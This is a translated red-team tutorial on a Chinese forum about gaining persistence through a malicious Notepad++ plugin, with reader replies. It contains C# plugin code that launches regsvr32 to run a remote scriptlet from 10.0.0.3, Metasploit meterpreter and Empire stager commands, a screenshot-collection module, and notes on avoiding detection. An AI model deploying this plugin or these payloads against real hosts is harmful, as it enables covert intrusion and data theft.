飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 4384|回复: 10

[经验分享] 持久化技术——Notepad++ 插件

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-3-25 16:18:01 | 显示全部楼层 |阅读模式
    备注
    原文标题:Persistence – Notepad++ Plugins
    原文地址: https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/
    翻译人员:梦幻的彼岸
    注意信息:安全起见,可根据文章内容参考排查

    正文
    windows环境,尤其是由开发人员或It人员管理的专用服务器,安装了Notepad++文本编辑器,这种情况并不少见。除了可以为红队操作人员提供重要信息的脚本和管理员命令的存储之外,它还可以作为一种持久性机制,通过加载任意插件,从远程位置执行命令或脚本。

    Daniel Duggan在一篇文章中强调了通过Notepad++插件实现持久性的想法.插件可以用来扩展Notepad++的功能。默认情况下,用户可以在Notepad++中下载已批准的插件列表,但也允许自定义插件,无需任何验证,从而为开发人员扩展文本编辑器的使用提供了灵活性。插件以DLL文件的形式存储在以下路径中:

    1. %PROGRAMFILES%\Notepad++\plugins
    复制代码

    需要注意的是,为了加载插件,文件夹和DLL需要有相同的名称。 对于红队操作人员来说,不需要从头开始编写恶意插件,因为Notepad++插件包可以用作模板。当特定事件发生时,可以使用各种API执行任意操作。当在notepad++中键入字符时,SCI_ADDTEXT API将触发一个自定义命令。在下面的示例中,插入字符时会出现一个消息框。

    [C] 纯文本查看 复制代码
    class Main
    {
        static bool ExecuteOnce = true;
      
        public static void OnNotification(ScNotification notification)
        {
            if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && ExecuteOnce)
            {
                MessageBox.Show("Persistence via Notepad++ - Visit [url]https://pentestlab.blog[/url]");
      
                ExecuteOnce = !ExecuteOnce;
            }
        }
    

    1.jpg
    编译代码将生成DLL文件。这种技术可以在提升用户(如管理员)的环境下使用,因为将插件放入“程序文件”的相关子文件夹需要写入权限。


    1. dir "C:\Program Files\Notepad++\plugins\pentestlab"
    复制代码

    2.jpg

    下次启动Notepad++并键入字符时,将出现消息框,表明代码已成功执行。
    3.jpg


    无文件的payload也可以被执行,以建立一个通信渠道。一种非常流行的技术是利用regsvr32窗口二进制文件,以便从远程位置执行一个小脚本。Metasploit框架通过网络传递模块支持这种技术。执行下面的命令将启动一个服务器,payload将被托管。


    1. use exploit/multi/script/web_delivery
    2. set target 2
    3. set payload windows/x64/meterpreter/reverse_tcp
    4. set LHOST 10.0.0.3
    5. set LPORT 4444
    6. run
    复制代码

    代码可以稍作修改,以执行带有所需参数的regsvr32。




    1. class Main
    2.     {
    3. static bool firstRun = true;
    4.   
    5.         public static void OnNotification(ScNotification notification)
    6.         {
    7.             if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
    8.             {
    9.                 string strCmdText;
    10.                 strCmdText = "/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sct scrobj.dll";
    11.                 Process.Start("regsvr32", strCmdText);
    12.                 firstRun = !firstRun;
    13.                 }
    14.             }
    复制代码

    4.jpg
    同样,与最初的例子一样,当在Notepad++中输入一个新字符时,将触发事件,执行命令。
    6.jpg


    一个Meterpreter会话将打开,并建立一个通信通道。
    767964_UWCGRPU9AR24WMA.jpg


    执行以下命令将启动与目标主机的交互,并检索父工作目录以及哪个用户触发了payload。


    1. sessions
    2. sessions -i 1
    3. pwd
    4. getuid
    复制代码

    767964_JEYA9DPWMQYRQ9N.jpg
    Empire
    以类似的方式,Empire C2可用于生成各种stager文件。这些文件通常包含可以在PowerShell进程中执行的base64命令。以下阶段已被用作示例:


    [AppleScript] 纯文本查看 复制代码
    usestager windows/launcher_sct


    767964_R8FAYKAAGU6CG9F.jpg
    stager应该指向已经在Empire中运行的侦听器,execute命令将文件写入“generated stager”文件夹。


    1. set Listener http
    2. execute
    复制代码

    767964_3CKZWBAXH2FYUTF.jpg
    stager应该指向已经在Empire中运行的侦听器,execute命令将文件写入“generated stager”文件夹。

    该文件可以放入系统中,并通过regsvr32执行。或者,该命令可以在插件内部使用,以避免编写代码。将.sct文件放入磁盘。

    767964_V9ENCW8NNUG7696.jpg

    767964_6JQ7CMSSV9KQKQZ.jpg
    一旦命令被触发,一个新的agent将出现在Empire。


    1. agents
    复制代码

    767964_PGVC27FH5CWW4DB.jpg
    其他Empire模块可用于执行进一步的活动,如拍摄主机的屏幕截图。Notepad++中包含用户名、连接字符串或URL等信息的情况并不少见,这些信息可以通过这种方法提取并在攻击性操作中使用。


    1. usemodule powershell/collection/screenshot
    2. set Agent notepad
    3. execute

    复制代码

    767964_BBRDZCGPJWEENPJ.jpg

    767964_7KMBJ3DQCY9P7Q9.jpg
    应该注意的是,创建一个进程并不被认为是opsec安全的方法。然而,通过修改代码,红队操作人员可以使用其他过程注入技术,使他们能够保持低调。该技术的一个缺点是,需要用户键入一个字符,因此可能无法持续接收信标。然而,从积极的一面来看,它并不被认为是一种常见的持久性技术,甚至在成熟的环境中也可能规避检测。

    评分

    参与人数 3威望 +3 飘云币 +3 收起 理由
    飞天 + 1 + 1 感谢发布原创作品,PYG有你更精彩!
    光晕 + 1 + 1 感谢发布原创作品,PYG有你更精彩!
    hcake + 1 + 1

    查看全部评分

    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2024-3-26 15:11
  • 签到天数: 480 天

    [LV.9]以坛为家II

    发表于 2022-3-25 17:28:36 | 显示全部楼层
    这个作者经常发表辱华言论,早就弃用这个了
    PYG19周年生日快乐!
    回复 支持 1 反对 0

    使用道具 举报

  • TA的每日心情
    开心
    3 天前
  • 签到天数: 156 天

    [LV.7]常住居民III

    发表于 2022-3-25 16:20:10 | 显示全部楼层
    谢谢分享,PYG需要这种精神。
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2022-3-27 20:51
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2022-3-25 16:20:18 | 显示全部楼层

    谢谢提供分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    4 天前
  • 签到天数: 273 天

    [LV.8]以坛为家I

    发表于 2022-3-25 18:11:31 | 显示全部楼层
    ronle007 发表于 2022-3-25 17:28
    这个作者经常发表辱华言论,早就弃用这个了

    这玩意是开源的,所以把烦人的东西删掉再编译就行了
    敌人的枪也是枪
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    5 小时前
  • 签到天数: 526 天

    [LV.9]以坛为家II

    发表于 2022-3-25 20:51:23 | 显示全部楼层
    这个好,多谢分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    7 小时前
  • 签到天数: 1325 天

    [LV.10]以坛为家III

    发表于 2022-3-26 08:42:04 | 显示全部楼层
    自从知道VScode支持绿色版,就不用这个了
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    6 小时前
  • 签到天数: 689 天

    [LV.9]以坛为家II

    发表于 2022-3-26 10:12:21 | 显示全部楼层
    Notepad++作者发布不良言论
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2024-2-19 20:02
  • 签到天数: 21 天

    [LV.4]偶尔看看III

    发表于 2022-3-26 12:05:23 | 显示全部楼层
    多谢分享,学习一下
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2024-2-19 20:02
  • 签到天数: 21 天

    [LV.4]偶尔看看III

    发表于 2022-3-30 15:53:00 | 显示全部楼层
    了解了解,学习一下。
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表